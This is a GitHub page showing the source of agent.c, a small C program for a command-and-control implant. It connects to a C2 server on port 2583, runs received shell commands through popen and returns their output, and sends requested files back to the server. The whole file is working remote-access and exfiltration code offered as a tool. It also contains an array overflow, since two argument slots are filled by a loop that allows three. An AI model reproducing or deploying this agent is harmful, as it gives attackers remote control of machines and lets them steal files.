-
Notifications
You must be signed in to change notification settings - Fork 25
/
agent.c
154 lines (126 loc) · 4.33 KB
/
agent.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
// basic tcp agent
// created by : bluecosmo
// imports
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
// constants
#define PORT 2583
#define BUFFER_SIZE 1024
// main code
int main() {
// create socket
int socket_server = socket(AF_INET, SOCK_STREAM, 0);
if (socket_server == -1) {
perror("[!] ERROR: Creating socket");
exit(EXIT_FAILURE);
}
// configure socket_address
struct sockaddr_in socket_address;
socket_address.sin_family = AF_INET;
socket_address.sin_port = htons(PORT);
socket_address.sin_addr.s_addr = inet_addr("127.0.0.1");
// connect to server
if (connect(socket_server, (struct sockaddr *)&socket_address, sizeof(socket_address)) == -1) {
perror("[!] ERROR: Connection failed");
close(socket_server);
exit(EXIT_FAILURE);
}
// c2 connection established
printf("[+] Connected to C2 on port : %d\n", PORT);
while (1) {
// receive c2 command
char c2_command[BUFFER_SIZE];
int bytes_received = recv(socket_server, c2_command, BUFFER_SIZE - 1, 0);
// exceptions
if (bytes_received == -1) {
perror("[!] Receive failed\n");
}
if (bytes_received == 0) {
printf("[-] Server closed the connection\n");
close(socket_server);
exit(EXIT_FAILURE);
}
// set null terminator
c2_command[bytes_received] = '\0';
printf("[+] Received data : %s\n", c2_command);
// get c2 command arguments
char *c2_arguments[2];
char *c2_argument = strtok(c2_command, " ");
int i = 0;
// define argument array
while ((c2_argument != NULL) && (i <3)) {
c2_arguments[i] = c2_argument;
i++;
c2_argument = strtok(NULL, " ");
}
// help menu
if (strcmp(c2_arguments[0], "help\0") == 0) {
char help_menu[] = "[+] TCP Server [+]\n"
"\t[help] - help menu\n"
"\t[exit] - exit c2\n"
"\t[$ <command>] - run shell command\n";
send(socket_server, help_menu, strlen(help_menu), 0);
send(socket_server, "\x0", 1, 0);
}
// exit command
if (strcmp(c2_arguments[0], "exit\0") == 0) {
printf("[*] Exiting...\n");
break;
}
// upload file to c2
else if (strcmp(c2_arguments[0], "download\0") == 0) {
// read file
FILE *file = fopen(c2_arguments[1], "rb");
if (file == NULL) {
perror("[!] ERROR: File open failed");
close(socket_server);
exit(EXIT_FAILURE);
}
printf("[*] Uploading file...\n");
char buffer[BUFFER_SIZE];
size_t bytes_read;
// upload file
while ((bytes_read = fread(buffer, 1, BUFFER_SIZE, file)) > 0) {
ssize_t sent = send(socket_server, buffer, bytes_read, 0);
if (sent == -1) {
perror("[!] ERROR: Send failed");
fclose(file);
close(socket_server);
exit(EXIT_FAILURE);
}
}
// close safely
send(socket_server, "\x0", 1, 0);
fclose(file);
}
else if (strcmp(c2_arguments[0], "$\0") == 0) {
// execute c2 command
FILE *process;
char path[BUFFER_SIZE];
process = popen(c2_arguments[1], "r");
if (process == NULL) {
printf("[!] ERROR: Failed to run command\n" );
exit(EXIT_FAILURE);
}
// parse and send command output
while (fgets(path, sizeof(path), process) != NULL) {
printf("[*] Sending data : %s\n", path);
send(socket_server, path, strlen(path), 0);
}
send(socket_server, "\x0", 1, 0);
// close process
pclose(process);
}
else {
char invalid_cmd[] = "[!] Invalid C2 Command\n";
send(socket_server, invalid_cmd, strlen(invalid_cmd), 0);
send(socket_server, "\x0", 1, 0);
}
}
// close socket and exit
close(socket_server);
return EXIT_SUCCESS;
}